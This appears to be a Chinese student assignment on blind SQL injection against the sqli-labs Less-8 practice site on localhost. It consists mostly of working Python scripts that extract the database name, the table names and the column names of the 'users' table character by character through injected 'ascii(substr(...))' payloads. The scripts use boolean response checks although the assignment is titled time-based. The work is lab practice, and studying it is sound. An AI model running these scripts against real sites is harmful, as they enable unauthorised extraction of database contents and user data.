时间盲注作业

首先盲注判断

?id=1' and sleep(2)--+

发现页面存在注点，使用时间盲注脚本进行注入

import requests
 
 
def inject_database(url):
    name = ''
    for i in range(1, 20):  # 假设数据库名称长度不超过20
        low = 48  # '0'
        high = 122  # 'z'
        middle = (low + high) // 2
        while low < high:
            payload = "1' and ascii(substr(database(),%d,1))>%d-- " % (i, middle)
            params = {"id": payload}
            r = requests.get(url, params=params)
 
            # 判断注入是否成功，依据靶场的返回信息
            if 'You are in' in r.text:  # 只检查包含 "You are in" 的内容，表示成功
                low = middle + 1
            else:
                high = middle
            middle = (low + high) // 2
 
        # 只拼接有效字符，跳过空格（ASCII 32）和其他非打印字符
        if middle > 32:  # 跳过空格和不可打印字符
            name += chr(middle)
 
        # 每次获取一个字符后打印当前的数据库名
        print(f"Current database name: {name}")
 
        # 重置 low 和 high 的值
        low = 48
        high = 122
        middle = (low + high) // 2
 
    print(f"Final database name: {name}")
 
 
if __name__ == "__main__":
    url = "http://127.0.0.1/sqllabs/Less-8/"
    inject_database(url)

爆出数据库名

更换payload和部分函数代码注入表和列

import requests
 
 
def inject_table_name(url, database_name, table_index=0):
    table_name = ''
    for i in range(1, 20):  # 假设表名长度不超过20
        low = 32  # 空格
        high = 126  # '~'
        middle = (low + high) // 2
        while low < high:
            # 构造布尔盲注的 payload
            payload = f"1' and ascii(substr((select table_name from information_schema.tables where table_schema='{database_name}' limit {table_index},1),{i},1))>{middle}-- "
            params = {"id": payload}
            try:
                r = requests.get(url, params=params, timeout=5)
                r.raise_for_status()  # 检查请求是否成功
            except requests.exceptions.RequestException as e:
                print(f"请求失败: {e}")
                return None
 
            # 判断注入是否成功，依据靶场的返回信息
            if 'You are in' in r.text:  # 只检查包含 "You are in" 的内容，表示成功
                low = middle + 1
            else:
                high = middle
            middle = (low + high) // 2
 
        # 只拼接有效字符，跳过空格（ASCII 32）和其他非打印字符
        if middle > 32:  # 跳过空格和不可打印字符
            table_name += chr(middle)
        else:
            break  # 如果遇到无效字符，结束循环
 
        # 每次获取一个字符后打印当前的表名
        print(f"当前表名: {table_name}")
 
    print(f"最终表名: {table_name}")
    return table_name
 
 
def inject_all_table_names(url, database_name, max_tables=10):
    table_names = []
    for i in range(max_tables):  # 假设最多提取10个表名
        print(f"正在提取第 {i + 1} 个表名...")
        table_name = inject_table_name(url, database_name, table_index=i)
        if table_name:
            table_names.append(table_name)
        else:
            break  # 如果没有更多表名，结束循环
    print(f"所有表名: {table_names}")
    return table_names
 
 
if __name__ == "__main__":
    url = "http://127.0.0.1/sqllabs/Less-8/"
    database_name = "security"  # 目标数据库名称
    # 提取所有表名
    inject_all_table_names(url, database_name)

import requests
 
 
def inject_column_name(url, table_name, column_index=0):
    column_name = ''
    for i in range(1, 20):  # 假设列名长度不超过20
        low = 32  # 空格
        high = 126  # '~'
        middle = (low + high) // 2
        while low < high:
            # 构造布尔盲注的 payload
            payload = f"1' and ascii(substr((select column_name from information_schema.columns where table_name='{table_name}' limit {column_index},1),{i},1))>{middle}-- "
            params = {"id": payload}
            try:
                r = requests.get(url, params=params, timeout=5)
                r.raise_for_status()  # 检查请求是否成功
            except requests.exceptions.RequestException as e:
                print(f"请求失败: {e}")
                return None
 
            # 判断注入是否成功，依据靶场的返回信息
            if 'You are in' in r.text:  # 只检查包含 "You are in" 的内容，表示成功
                low = middle + 1
            else:
                high = middle
            middle = (low + high) // 2
 
        # 只拼接有效字符，跳过空格（ASCII 32）和其他非打印字符
        if middle > 32:  # 跳过空格和不可打印字符
            column_name += chr(middle)
        else:
            break  # 如果遇到无效字符，结束循环
 
        # 每次获取一个字符后打印当前的列名
        print(f"当前列名: {column_name}")
 
    print(f"最终列名: {column_name}")
    return column_name
 
 
def inject_all_column_names(url, table_name, max_columns=10):
    column_names = []
    for i in range(max_columns):  # 假设最多提取10个列名
        print(f"正在提取第 {i + 1} 个列名...")
        column_name = inject_column_name(url, table_name, column_index=i)
        if column_name:
            column_names.append(column_name)
        else:
            break  # 如果没有更多列名，结束循环
    print(f"所有列名: {column_names}")
    return column_names
 
 
if __name__ == "__main__":
    url = "http://127.0.0.1/sqllabs/Less-8/"
    table_name = "users"  # 目标表名
    # 提取所有列名
    inject_all_column_names(url, table_name)